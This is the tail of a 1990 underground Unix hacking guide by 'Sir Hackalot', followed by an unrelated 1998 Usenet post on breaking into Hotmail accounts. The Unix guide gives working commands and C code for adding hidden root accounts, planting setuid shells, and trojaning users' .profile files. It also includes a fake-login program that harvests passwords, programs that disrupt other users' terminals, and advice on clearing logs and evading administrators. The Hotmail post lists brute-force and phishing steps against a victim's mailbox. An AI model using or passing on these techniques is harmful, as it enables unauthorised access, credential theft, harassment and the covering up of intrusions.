in the password entry you can become part of that group by
using the utility "newgrp". Now, there are some cases in
which even groups with no password will allow only certain
users to be assigned to the group via the newgrp command. Usually,
if the last field is left blank, that means any user can use newgrp
to get that group's access. Otherwise, only the users specified in
the last field can enter the group via newgrp.

Newgrp is just a program that will change your group current
group id you are logged on under to the one you specify. The
syntax for it is: newgrp groupname
Now, if you find a group un passworded, and use newgrp to
enter it, and it asks for a password, you are not allowed to use
the group. I will explain this further in The "SU & Newgrp" section.

/etc/hosts - this file contains a list of hosts it is connected to thru
a hardware network (like an x.25 link or something), or sometimes
just thru UUCP. This is a good file when you are hacking a
large network, since it tells you systems you can use with
rsh (Remote Shell, not restricted shell), rlogin, and telnet,
as well as other ethernet/x.25 link programs.

/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
Several directories, but it is usually in /usr/adm. This file
is what it sounds like. Its a log file, for the program SU.
What it is for is to keep a record of who uses SU and when.
whenever you use SU, your best bet would be to edit this file
if possible, and I'll tell you how and why in the section
about using "su".

/usr/adm/loginlog
or /usr/adm/acct/loginlog -
This is a log file, keeping track of the logins.
Its purpose is merely for accounting and "security review". Really,
sometimes this file is never found, since a lot of systems keep the
logging off.

/usr/adm/errlog
or errlog - This is the error log. It could be located anywhere. It
keeps track of all serious and even not so serious errors.
Usually, it will contain an error code, then a situation.
the error code can be from 1-10, the higher the number, the
worse the error. Error code 6 is usually used when you try
to hack. "login" logs your attempt in errlog with error code
6. Error code 10 means, in a nutshell, "SYSTEM CRASH".

/usr/adm/culog - This file contains entries that tell when you used cu,
where you called and so forth. Another security thing.

/usr/mail/<userLogin> - this is where the program "mail" stores its mail.
to read a particular mailbox, so they are called,
you must be that user, in the user group "mail" or
root. each mailbox is just a name. for instance,
if my login was "sirhack" my mail file would usually
be: /usr/mail/sirhack

/usr/lib/cron/crontabs - This contains the instructions for cron, usually.
Will get into this later.

/etc/shadow - A "shadowed" password file. Will talk about this later.

-- The BIN account --

Well, right now, I'd like to take a moment to talk about the account
"bin". While it is only a user level account, it is very powerful. It is
the owner of most of the files, and on most systems, it owns /etc/passwd,
THE most important file on a unix. See, the bin account owns most of the
"bin" (binary) files, as well as others used by the binary files, such
as login. Now, knowing what you know about file permissions, if bin owns
the passwd file, you can edit passwd and add a root entry for yourself.
You could do this via the edit command:
$ ed passwd
10999 [The size of passwd varies]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
{control-d}
* w
* q
$

Then, you could say: exec login, then you could login as sirhack, and
you'd be root.

/\/\/\/\/\/\/\/\/
Hacking..........
/\/\/\/\/\/\/\/\/

--------------
Account Adding
--------------

There are other programs that will add users to the system, instead
of ed. But most of these programs will NOT allow a root level user to be
added, or anything less than a UID of 100. One of these programs is
named "adduser". Now, the reason I have stuck this little section in, is
for those who want to use a unix for something useful. Say you want a
"mailing address". If the unix has uucp on it, or is a big college,
chances are, it will do mail transfers. You'll have to test the unix
by trying to send mail to a friend somewhere, or just mailing yourself.
If the mailer is identified as "smail" when you mail yourself (the program
name will be imbedded in the message) that probably means that the system
will send out UUCP mail. This is a good way to keep in contact with people.
Now, this is why you'd want a semi-permanent account. The way to achieve this
is by adding an account similar to those already on the system. If all the
user-level accounts (UID >= 100) are three letter abbriviations, say
"btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
via adduser, and make a name like sally jane marshall or something
(they don't expect hackers to put in female names) and have the account
named sjm. See, in the account description (like Mr. Hackalot above), that
is where the real name is usually stored. So, sjm might look like this:
sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
Of course, you will password protect this account, right?
Also, group id's don't have to be above 100, but you must put the account
into one that exists. Now, once you login with this account, the first
thing you'd want to do is execute "passwd" to set a password up. If you
don't, chances are someone else 'll do it for you (Then you'll be SOL).

-------------------
Set The User ID
-------------------

This is porbably one of the most used schemes. Setting up an "UID-
Shell". What does this mean? Well, it basically means you are going
to set the user-bit on a program. The program most commonly used is
a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access
to whatever the owner of the file does. A UID shell sets the user-ID of
the person who executes it to the owner of the program. So if root
owns a uid shell, then you become root when you run it. This is an
alternate way to become root.

Say you get in and modify the passwd file and make a root level
account unpassworded, so you can drop in. Of course, you almost HAVE to
get rid of that account or else it WILL be noticed eventually. So, what
you would do is set up a regular user account for yourself, then, make
a uid shell. Usually you would use /bin/sh to do it. After adding
the regular user to the passwd file, and setting up his home directory,
you could do something like this:
(assume you set up the account: shk)
# cp /bin/sh /usr/shk/runme
# chmod a+s /usr/shk/runme

Thats all there would be to it. When you logged in as shk, you could just
type in:

$ runme
#

See? You'd then be root. Here is a thing to do:

$ id
uid=104(shk) gid=50(user)

$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)
#

The euid is the "effective" user ID. UID-shells only set the effective
userid, not the real user-id. But, the effective user id over-rides the
real user id. Now, you can, if you wanted to just be annoying, make
the utilities suid to root. What do I mean? For instance, make 'ls'
a root 'shell'. :

# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
..
......
etc crap

Ls would then be able to pry into ANY directory. If you did the same to
"cat" you could view any file. If you did it to rm, you could delete any
file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on
the system (usually).

How do I get root?
------------------

Good question indeed. To make a program set the user-id shell to root,
you have to be root, unless you're lucky. What do I mean? Well, say
you find a program that sets the user-id to root. If you have access
to write to that file, guess what? you can copy over it, but keep
the uid bit set. So, say you see that the program chsh is setting
the user id too root. You can copy /bin/sh over it.

$ ls -l
rwsrwsrws root other 10999 Jan 4 chsh
$ cp /bin/sh chsh
$ chsh
#

See? That is just one way. There are others, which I will now talk
about.

More on setting the UID
-----------------------

Now, the generic form for making a program set the User-ID bit
is to use this command:

chmod a+s file

Where 'file' is a valid existing file. Now, only those who own the file
can set the user ID bit. Remember, anything YOU create, YOU own, so if
you copy th /bin/sh, the one you are logged in as owns it, or IF the
UID is set to something else, the New UID owns the file. This brings
me to BAD file permissions.

II. HACKING : Bad Directory Permissions

Now, what do I mean for bad directory permissions? Well, look for
files that YOU can write to, and above all, DIRECTORIES you can write to.
If you have write permissions on a file, you can modify it. Now, this comes
in handy when wanting to steal someone's access. If you can write to
a user's .profile, you are in business. You can have that user's .profile
create a suid shell for you to run when You next logon after the user.
If the .profile is writable to you, you can do this:

$ ed .profile
[some number will be here]
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
(control-d)
? w
[new filesize will be shown]
? q
$

Now, when the user next logs on, the .profile will create .runme which
will set your ID to the user whose .profile you changed. Ideally, you'll
go back in and zap those lines after the suid is created, and you'll create
a suid somewhere else, and delete the one in his dir. The .runme will
not appear in the user's REGULAR directory list, it will only show up
if he does "ls -a" (or ls with a -a combination), because, the '.' makes
a file hidden.

The above was a TROJAN HORSE, which is one of the most widely used/abused
method of gaining more power on a unix. The above could be done in C via
the system() command, or by just plain using open(), chmod(), and the like.
* Remember to check and see if the root user's profile is writeable *
* it is located at /.profile (usually) *

The BEST thing that could happen is to find a user's directory writeable
by you. Why? well, you could replace all the files in the directory
with your own devious scripts, or C trojans. Even if a file is not
writeable by you, you can still overwrite it by deleteing it. If you
can read various files, such as the user's .profile, you can make a
self deleting trojan as so:

$ cp .profile temp.pro
$ ed .profile
1234
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
mv temp.pro .profile
(control-d)
? w
[another number]
? q
$ chown that_user temp.pro

What happens is that you make a copy of the .profile before you change it.
Then, you change the original. When he runs it, the steps are made, then
the original version is placed over the current, so if the idiot looks in
his .profile, he won't see anything out of the ordinary, except that he
could notice in a long listing that the change date is very recent, but
most users are not paranoid enough to do extensive checks on their files,
except sysadm files (such as passwd).

Now, remember, even though you can write to a dir, you may not be able
to write to a file without deleting it. If you do not have write perms
for that file, you'll have to delete it and write something in its place
(put a file with the same name there). The most important thing to remember
if you have to delete a .profile is to CHANGE the OWNER back after you
construct a new one (hehe) for that user. He could easily notice that his
.profile was changed and he'll know who did it. YES, you can change the
owner to someone else besides yourself and the original owner (as to throw
him off), but this is not wise as keeping access usually relies on the fact
that they don't know you are around.

You can easily change cron files if you can write to them. I'm not going
to go into detail about cronfile formats here, just find the crontab files
and modify them to create a shell somewhere as root every once in a while,
and set the user-id.

III. Trojan Horses on Detached terminals.
Basically this: You can send garbage to a user's screen and
mess him up bad enough to force a logoff, creating a detached
account. Then you can execute a trojan horse off that terminal in
place of login or something, so the next one who calls can hit the
trojan horse. This USUALLY takes the form of a fake login and
write the username/pw entererred to disk.

Now, there are other trojan horses available for you to write. Now,
don't go thinking about a virus, for they don't work unless ROOT runs
them. Anyway, a common trjan would be a shell script to get the
password, and mail it to you. Now, you can replace the code for
the self deleting trojan with one saying something like:
echo "login: \c"
read lgin
echo off (works on some systems)
(if above not available...: stty -noecho)
echo "Password:\c"
read pw
echo on
echo "Login: $lgin - Pword: $pw" | mail you

Now, the best way to use this is to put it in a seperate script file
so it can be deleted as part of the self deleting trojan. A quick
modification, removing the "login: " and leaving the password
may have it look like SU, so you can get the root password. But
make sure the program deletes itself. Here is a sample trojan
login in C:

#include <stdio.h>
/* Get the necessary defs.. */
main()
{
char *name[80];
char *pw[20];
FILE *strm;
printf("login: ");
gets(name);
pw = getpass("Password:");
strm = fopen("/WhereEver/Whateverfile","a");
fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
fclose(strm);
/* put some kind of error below... or something... */
printf("Bus Error - Core Dumped\n");
exit(1);
}

The program gets the login, and the password, and appends it to
a file (/wherever/whateverfile), and creates the file if it can,
and if its not there. That is just an example. Network Annoyances
come later.

IV. Odd systems

There may be systems you can log in to with no problem, and find some
slack menu, database, or word processor as your shell, with no way to the
command interpreter (sh, ksh, etc..). Don't give up here. Some systems will
let you login as root, but give you a menu which will allow you to add an
account. However, ones that do this usually have some purchased software
package running, and the people who made the software KNOW that the people
who bought it are idiots, and the thing will sometimes only allow you to
add accounts with user-id 100 or greater, with their special menushell as
a shell. You probably won't get to pick the shell, the program will probably
stick one on the user you created which is very limiting. HOWEVER, sometimes
you can edit accounts, and it will list accounts you can edit on the screen.
HOWEVER, these programs usually only list those with UIDS > 100 so you don't
edit the good accounts, however, they donot stop you from editing an account
with a UID < 100. The "editing" usually only involves changing the password
on the account. If an account has a * for a password, the standard passwd
program which changes programs, will say no pw exists, and will ask you to
enter one. (wallah! You have just freed an account for yourself. Usually
bin and sys have a * for a password). If one exists you'll have to enter
the old Password (I hope you know it!) for that account. Then, you are
in the same boat as before. (BTW -- These wierd systems are usually
Xenix/386, Xenix/286, or Altos/286)
With word processors, usually you can select the load command,
and when the word processor prompts for a file, you can select the passwd
file, to look for open accounts, or at least valid ones to hack. An example
would be the informix system. You can get a word processor with that such
as Samna word, or something, and those Lamers will not protect against
shit like that. Why? The Passwd file HAS to be readable by all for the most
part, so each program can "stat" you. However, word processors could be made
to restrict editing to a directory, or set of directories. Here is an
example:

$ id
uid=100(sirhack) gid=100(users)
$ sword
(word processor comes up)
(select LOAD A FILE)
<Edit File>: /etc/passwd
<Loading..>
(you see: )
root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
...

Now I have found an account to take over! "datawiz" will get me in with no
trouble, then I can change his password, which he will not like at all.
Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
will menu drive all the important shit, even creating users, but you must
have ansi or something.

You can usually tell when you'll get a menu. Sometimes on UNIX
SYSTEM V, when it says TERM = (termtype), and is waiting for
you to press return or whatever, you will probably get a menu.. ack.

V. Shadowed Password files
Not much to say about this. all it is, is when every password field
in the password file has an "x" or just a single character. What
that does is screw you, becuase you cannot read the shadowed password
file, only root can, and it contains all the passwords, so you will
not know what accounts have no passwords, etc.

There are a lot of other schemes for hacking unix, lots of others, from
writing assembly code that modifies the PCB through self-changing code which
the interrupt handler doesn't catch, and things like that. However, I do
not want to give away everything, and this was not meant for advanced Unix
Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
assembly language or anything. Now I will Talk about Internet.

--->>> InterNet <<<---
Why do I want to talk about InterNet? Well, because it is a prime
example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
Now, mainly you will find BSD systems off of the Internet, or SunOS, for
they are the most common. They may not be when System V, Rel 4.0, Version
2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump
from one computer to another once you are logged in. What happens is
EACH system has a "yello page password file". Better known as yppasswd.
If you look in there, and see blank passwords you can use rsh, rlogin, etc..
to slip into that system. One system in particular I came across had a
a yppasswd file where *300* users had blank passwords in the Yellow Pages.
Once I got in on the "test" account, ALL I had to do was select who I wanted
to be, and do: rlogin -l user (sometimes -n). Then it would log me onto
the system I was already on, through TCP/IP. However, when you do this,
remember that the yppasswd only pertains to the system you are on at
the time. To find accounts, you could find the yppasswd file and do:

% cat yppasswd | grep ::

Or, if you can't find yppasswd..

% ypcat passwd | grep ::

On ONE system (which will remain confidential), I found the DAEMON account
left open in the yppasswd file. Not bad. Anyway, through one system
on the internet, you can reach many. Just use rsh, or rlogin, and look
in the file: /etc/hosts for valid sites which you can reach. If you get
on to a system, and rlogin to somewhere else, and it asks for a password,
that just means one of two things:

A. Your account that you have hacked on the one computer is on the target
computer as well. Try to use the same password (if any) you found the
hacked account to have. If it is a default, then it is definitly on the
other system, but good luck...

B. rlogin/rsh passed your current username along to the remote system, so it
was like typing in your login at a "login: " prompt. You may not exist on
the other machine. Try "rlogin -l login_name", or rlogin -n name..
sometimes, you can execute "rwho" on another machine, and get a valid
account.

Some notes on Internet servers. There are "GATEWAYS" that you can get into
that will allow access to MANY internet sites. They are mostly run off
a modified GL/1 or GS/1. No big deal. They have help files. However,
you can get a "privilged" access on them, which will give you CONTROL of
the gateway.. You can shut it down, remove systems from the Internet, etc..
When you request to become privileged, it will ask for a password. There is
a default. The default is "system". I have come across *5* gateways with
the default password. Then again, DECNET has the same password, and I have
come across 100+ of those with the default privileged password. CERT Sucks.
a Gateway that led to APPLE.COM had the default password. Anyone could
have removed apple.com from the internet. Be advised that there are many
networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
University networks.

--** Having Fun **--

Now, if nothing else, you should atleast have some fun. No, I do not mean
go trashing hardrives, or unlinking directories to take up inodes, I mean
play with online users. There are many things to do. Re-direct output
to them is the biggie. Here is an example:
$ who
loozer tty1
sirhack tty2
$ banner You Suck >/dev/tty1
$
That sent the output to loozer. The TTY1 is where I/O is being performed
to his terminal (usually a modem if it is a TTY). You can repetitiously
banner him with a do while statement in shell, causing him to logoff. Or
you can get sly, and just screw with him. Observe this C program:

#include <stdio.h>
#include <fcntl.h>
#include <string.h>

main(argc,argument)
int argc;
char *argument[];
{
int handle;
char *pstr,*olm[80];
char *devstr = "/dev/";
int acnt = 2;
FILE *strm;
pstr = "";
if (argc == 1) {
printf("OL (OneLiner) Version 1.00 \n");
printf("By Sir Hackalot [PHAZE]\n");
printf("\nSyntax: ol tty message\n");
printf("Example: ol tty01 You suck\n");
exit(1);
}
printf("OL (OneLiner) Version 1.0\n");
printf("By Sir Hackalot [PHAZE]\n");
if (argc == 2) {
strcpy(olm,"");
printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
printf("Enter one Here => ");
gets(olm);
}
strcpy(pstr,"");
strcat(pstr,devstr);
strcat(pstr,argument[1]);
printf("Sending to: [%s]\n",pstr);
strm = fopen(pstr,"a");
if (strm == NULL) {
printf("Error writing to: %s\n",pstr);
printf("Cause: No Write Perms?\n");
exit(2);
}
if (argc == 2) {
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
fprintf(strm,"%s\n",olm);
fclose(strm);
printf("Message Sent.\n");
exit(0);
}
if (argc > 2) {
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
while (acnt <= argc - 1) {
fprintf(strm,"%s ",argument[acnt]);
acnt++;
}
fclose(strm);
printf("Message sent!\n");
exit(0);
}
}

What the above does is send one line of text to a device writeable by you
in /dev. If you try it on a user named "sirhack" it will notify sirhack
of what you are doing. You can supply an argument at the command line, or
leave a blank message, then it will prompt for one. You MUST supply a
Terminal. Also, if you want to use ?, or *, or (), or [], you must not
supply a message at the command line, wait till it prompts you. Example:

$ ol tty1 You Suck!
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!
$

You can even use it to fake messages from root. Here is another:

/*
* Hose another user
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <utmp.h>
#include <time.h>
#include <termio.h>
#include <sys/utsname.h>

#define NMAX sizeof(ubuf.ut_name)

struct utmp ubuf;
struct termio oldmode, mode;
struct utsname name;
int yn;
int loop = 0;
char *realme[50] = "Unknown";
char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32];
char *histtya, *ttyname(), *strrchr(), *getenv();
int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE *tf;

main(argc, argv)
int argc;
char *argv[];
{
register FILE *uf;
char c1, lastc;
int goodtty = 0;
long clock = time((long *) 0);
struct tm *localtime();
struct tm *localclock = localtime( &clock );
struct stat stbuf;
char psbuf[20], buf[80], window[20], junk[20];
FILE *pfp, *popen();

if (argc < 2) {
printf("usage: hose user [ttyname]\n");
exit(1);
}
him = argv[1];

if (argc > 2)
histtya = argv[2];
if ((uf = fopen("/etc/utmp", "r")) == NULL) {
printf("cannot open /etc/utmp\n");
exit(1);
}
cuserid(me);
if (me == NULL) {
printf("Can't find your login name\n");
exit(1);
}
mytty = ttyname(2);
if (mytty == NULL) {
printf("Can't find your tty\n");
exit(1);
}
if (stat(mytty, &stbuf) < 0) {
printf("Can't stat your tty -- This System is bogus.\n");
}
if ((stbuf.st_mode&02) == 0) {
printf("You have write permissions turned off (hehe!).\n");
}

if (histtya) {
if (!strncmp(histtya, "/dev/", 5))
histtya = strrchr(histtya, '/') + 1;
strcpy(histty, "/dev/");
strcat(histty, histtya);
}
while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
if (ubuf.ut_name[0] == '\0')
continue;
if (!strncmp(ubuf.ut_name, him, NMAX)) {
logcnt++;
if (histty[0]==0) {
strcpy(histty, "/dev/");
strcat(histty, ubuf.ut_line);
}
if (histtya) {
if (!strcmp(ubuf.ut_line, histtya))
goodtty++;
}
}
}
fclose(uf);
if (logcnt==0) {
printf("%s not found! (Not logged in?)\n", him);
exit(1);
}

if (histtya==0 && logcnt > 1) {
printf("%s logged more than once\nwriting to %s\n", him, histty+5);
}
if (access(histty, 0) < 0) {
printf("No such tty? [%s]\n",histty);
exit(1);
}
signal(SIGALRM, timout);
alarm(5);
if ((tf = fopen(histty, "w")) == NULL)
goto perm;
alarm(0);
if (fstat(fileno(tf), &stbuf) < 0)
goto perm;
if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
goto perm;
ioctl(0, TCGETA, &oldmode); /* save tty state */
ioctl(0, TCGETA, &mode);
sigs(eof);
uname(&name);
if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
if (yn == 1 ) {
fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
fclose(tf);
printf("Critical Error Handler: %s running conflicting process\n",him);
exit(1);
}
fflush(tf);
mode.c_cc[4] = 1;
mode.c_cc[5] = 0;
mode.c_lflag &= ~ICANON;
ioctl(0, TCSETAW, &mode);
lastc = '\n';

printf("Backspace / Spin Cursor set lose on: %s\n",him);
while (loop == 0) {
c1 = '\b';
write(fileno(tf),&c1,1);
sleep(5);
fprintf(tf,"\\\b|\b/\b-\b+\b");
fflush(tf);
}

perm:
printf("Write Permissions denied!\n");
exit(1);
}

timout()
{

printf("Timeout opening their tty\n");
exit(1);
}

eof()
{
printf("Bye..\n");
ioctl(0, TCSETAW, &oldmode);
exit(0);
}

ex()
{
register i;
sigs(SIG_IGN);
i = fork();
if (i < 0) {
printf("Try again\n");
goto out;
}
if (i == 0) {
sigs((int (*)())0);
execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
exit(0);
}
while(wait((int *)NULL) != i)
;
printf("!\n");
out:
sigs(eof);
}

sigs(sig)
int (*sig)();
{
register i;
for (i=0; signum[i]; i++)
signal(signum[i], sig);
}

What the above is, is a modified version of the standard write command.
What it does, is spin the cursor once, then backspace once over the
screen of the user it is run on. All though, it does not physically affect
input, the user thinks it does. therefore, he garbles input. The sleep(xx)
can be changed to make the stuff happen more often, or less often.
If you put your login name in the "YOURNAMEHERE" slot, it will protect you
from getting hit by it, if someone off a Public access unix leeches the
executable from your directory.
You could make a shorter program that does almost the same thing, but
you have to supply the terminal, observe:

/* Backspace virus, by Sir Hackalot [Phaze] */
#include <stdio.h>
#include <fcntl.h>
main(argc,argv)
char *argv[];
int argc;
{
int x = 1;
char *device = "/dev/";
FILE *histty;
if (argc == 1) {
printf("Bafoon. Supply a TTY.\n");
exit(1);
}
strcat(device,argv[1]);
/* Make the filename /dev/tty.. */
histty = fopen(device,"a");
if (histty == NULL) {
printf("Error opening/writing to tty. Check their perms.\n");
exit(1);
}
printf("BSV - Backspace virus, By Sir Hackalot.\n");
printf("The Sucker on %s is getting it!\n",device);
while (x == 1) {
fprintf(histty,"\b\b");
fflush(histty);
sleep(5);
}
}

Thats all there is to it. If you can write to their tty, you can use this on
them. It sends two backspaces to them every approx. 5 seconds. You
should run this program in the background. (&). Here is an example:

$ who
sirhack tty11
loozer tty12
$ bsv tty12&
[1] 4566
BSV - Backspace virus, by Sir Hackalot
The Sucker on /dev/tty12 is getting it!
$

Now, it will keep "attacking" him, until he loggs of, or you kill the process
(which was 4566 -- when you use &, it gives the pid [usually]).

** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
method to terminate a line. However, the LF terminates a line in Unix.
you must STRIP CR's on an ascii upload if you want something you upload
to an editor to work right. Else, you'll see a ^M at the end of every
line. I know that sucks, but you just have to compensate for it.

I have a number of other programs that annoy users, but that is enough to
get your imagination going, provided you are a C programmer. You can annoy
users other ways. One thing you can do is screw up the user's mailbox.
The way to do this is to find a binary file (30k or bigger) on the system
which YOU have access to read. then, do this:

$ cat binary_file | mail loozer

or

$ mail loozer < binary file

That usually will spilt into 2 messages or more. The 1st message will
have a from line.. (from you ..), but the second WILL NOT! Since it does
not, the mail reader will keep exiting and giving him an error message until
it gets fixed.. The way to fix it is to go to the mail box that got hit
with this trick (usually only the one who got hit (or root) and do this),
and edit the file, and add a from line.. like
From username..

then it will be ok. You can screw the user by "cat"ing a binary to his tty.
say Loozer is on tty12. You can say..
$ cat binary_file >/dev/tty12
$
It may pause for a while while it outputs it. If you want to resume what
you were doing instantly, do:
$ cat binary_file >/dev/tty12&
[1] 4690
$
And he will probably logoff. You can send the output of anything to his
terminal. Even what YOU do in shell. Like this:
$ sh >/dev/tty12
$
You'll get your prompts, but you won't see the output of any commands, he
will...
$ ls
$ banner Idiot!
$ echo Dumbass!
$
until you type in exit, or hit ctrl-d.

There are many many things you can do. You can fake a "write" to someone
and make them think it was from somewhere on the other side of hell. Be
creative.

When you are looking for things to do, look for holes, or try to get
someone to run a trojan horse that makes a suid shell. If you get
someone to run a trojan that does that, you can run the suid, and log their
ass off by killing their mother PID. (kill -9 whatever). Or, you can
lock them out by adding "kill -1 0" to their .profile. On the subject of
holes, always look for BAD suid bits. On one system thought to be invincible
I was able to read/modify everyone's mail, because I used a mailer that had
both the GroupID set, and the UserID set. When I went to shell from it,
the program instantly changed my Effective ID back to me, so I would not be
able to do anything but my regular stuff. But it was not designed to change
the GROUP ID back. The sysop had blundered there. SO when I did an ID
I found my group to be "Mail". Mailfiles are readble/writeable by the
user "mail", and the group "mail". I then set up a sgid (set group id) shell
to change my group id to "mail" when I ran it, and scanned important mail,
and it got me some good info. So, be on the look out for poor permissions.

Also, after you gain access, you may want to keep it. Some tips on doing so
is:
1. Don't give it out. If the sysadm sees that joeuser logged in 500
times in one night....then....
2. Don't stay on for hours at a time. They can trace you then. Also
they will know it is irregular to have joeuser on for 4 hours
after work.
3. Don't trash the system. Don't erase important files, and don't
hog inodes, or anything like that. Use the machine for a specific
purpose (to leech source code, develop programs, an Email site).
Dont be an asshole, and don't try to erase everything you can.
4. Don't screw with users constantly. Watch their processes and
run what they run. It may get you good info (snoop!)
5. If you add an account, first look at the accounts already in there
If you see a bunch of accounts that are just 3 letter abbrv.'s,
then make yours so. If a bunch are "cln, dok, wed" or something,
don't add one that is "joeuser", add one that is someone's
full initials.

6. When you add an account, put a woman's name in for the
description, if it fits (Meaning, if only companies log on to the
unix, put a company name there). People do not suspect hackers
to use women's names. They look for men's names.
7. Don't cost the Unix machine too much money. Ie.. don't abuse an
outdial, or if it controls trunks, do not set up a bunch of dial
outs. If there is a pad, don't use it unless you NEED it.
8. Don't use x.25 pads. Their usage is heavily logged.
9. Turn off acct logging (acct off) if you have the access to.
Turn it on when you are done.
10. Remove any trojan horses you set up to give you access when you
get access.
11. Do NOT change the MOTD file to say "I hacked this system" Just
thought I'd tell you. Many MANY people do that, and lose access
within 2 hours, if the unix is worth a spit.
12. Use good judgement. Cover your tracks. If you use su, clean
up the sulog.
13. If you use cu, clean up the cu_log.
14. If you use the smtp bug (wizard/debug), set up a uid shell.
15. Hide all suid shells. Here's how:
goto /usr
(or any dir)
do:
# mkdir ".. "
# cd ".. "
# cp /bin/sh ".whatever"
# chmod a+s ".whatever"
The "" are NEEDED to get to the directory .. ! It will not show
up in a listing, and it is hard as hell to get to by sysadms if
you make 4 or 5 spaces in there (".. "), because all they will
see in a directory FULL list will be .. and they won't be able to
get there unless they use "" and know the spacing. "" is used
when you want to do literals, or use a wildcard as part of a file
name.
16. Don't hog cpu time with password hackers. They really don't work
well.

17. Don't use too much disk space. If you archieve something to dl,
dl it, then kill the archieve.
18. Basically -- COVER YOUR TRACKS.

Some final notes:

Now, I hear lots of rumors and stories like "It is getting harder to get
into systems...". Wrong. (Yo Pheds! You reading this??). It IS true
when you are dealing with WAN's, such as telenet, tyment, and the Internet,
but not with local computers not on those networks. Here's the story:

Over the past few years, many small companies have sprung up as VARs
(Value Added Resellers) for Unix and Hardware, in order to make a fast
buck. Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix. Now, since they get paid by
the hour usaually when setting one up, they spread it out over days....
during these days, the system is WIDE open (if it has a dialin). Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system. Why? The company needs to get in, and most VARs cannot use
unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus. So, they leave the system open to all...(inadvertedly..),
because they are not competant. So, you could usually get on, and create
havoc, and at first they will think it is a bug.. I have seen this
happen ALL to many times, and it is always the same story...
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions). Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
"shell" or command line exists, and they probably don't even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask...
which will lead to even more holes. You'll find systems local to you
that are easy as hell to get into, and you'll see what I mean. These
VARs are really actually working for us. If a security problem arises
that the business is aware of, they call the VAR to fix it... Of course,
the Var gets paid by the hour, and leaves something open so you'll get in
again, and they make more moolahhhh.

You can use this phile for whatever you want. I can't stop you. Just
to learn unix (heh) or whatever. But its YOUR ass if you get caught.
Always consider the penalties before you attempt something. Sometimes
it is not worth it, Sometimes it is.

This phile was not meant to be comprehensive, even though it may seem like
it. I have left out a LOT of techniques, and quirks, specifically to get
you to learn SOMETHING on your own, and also to retain information so
I will have some secrets. You may pass this file on, UNMODIFIED, to any
GOOD H/P BBS. Sysops can add things to the archieve to say where
it was DL'd from, or to the text viewer for the same purpose. This is
Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.

A Small Guide to Hacking HOTMAIL

2013-01-31T00:47:00.002+07:00

Newsgroups: alt.hacking
Subject: Hotmail Hack info !
From: Terry Mitchell <hacker@mitchell.demon.nl>
Date: Mon, 02 Mar 1998 12:09:04 -0800

HOTMAIL HACKING INFO.

I_1_I - Brute force hacking
a. Use telnet to connect to port 110 (Hotmail´s pop-server)
b. Type USER and then the victim´s username
c. Type PASS and then the guess a password
d. Repeat that until U have found the correct password.
!. This is called brute force hacking and requires patience.
It´s better than trying to guess the victims password on
hotmail homepage only because it´s faster.
____
I_2_I - The Best way
a. Get the username of the victim (It usually stands in the adress-field
)
b. Then type " www.hotmail.com/cgi-bin/start/victimsusername "
c. U´re in!
!. This hack only work if U are on the same network or computer as the
victim and if he don´t log out.
____
I_3_I - The old way
a. Go to http://www.hotmail/proxy.html
b. Now type the victims username. (press login)
c. Look at the source code.
d. On the fifth row U should find "action=someadress"
e. Copy that adress and paste it into the adress-field
f. You are in...
!. As you can see it´s a long procedure and the victim have
plenty of time to log out.
____
I_4_I - Another...
a. Go to hotmail´s homepage
b. Copy the source code.
c. Make a new html file with the same code but change method=post to
method=enter
d. "view" the page
e. Change the adress to www.hotmail.com/ (don´t press enter!)
f. Make the victim type in his username and password
g. Look in the adress-field. There you´ll see ...&password:something...
!. This is the way I use, because it lets you know the password.
(If he exits the browser U can see the password in the History folder!)

READ!
Hotmail´s sysops have changed the "system" so that the victim may log
out even
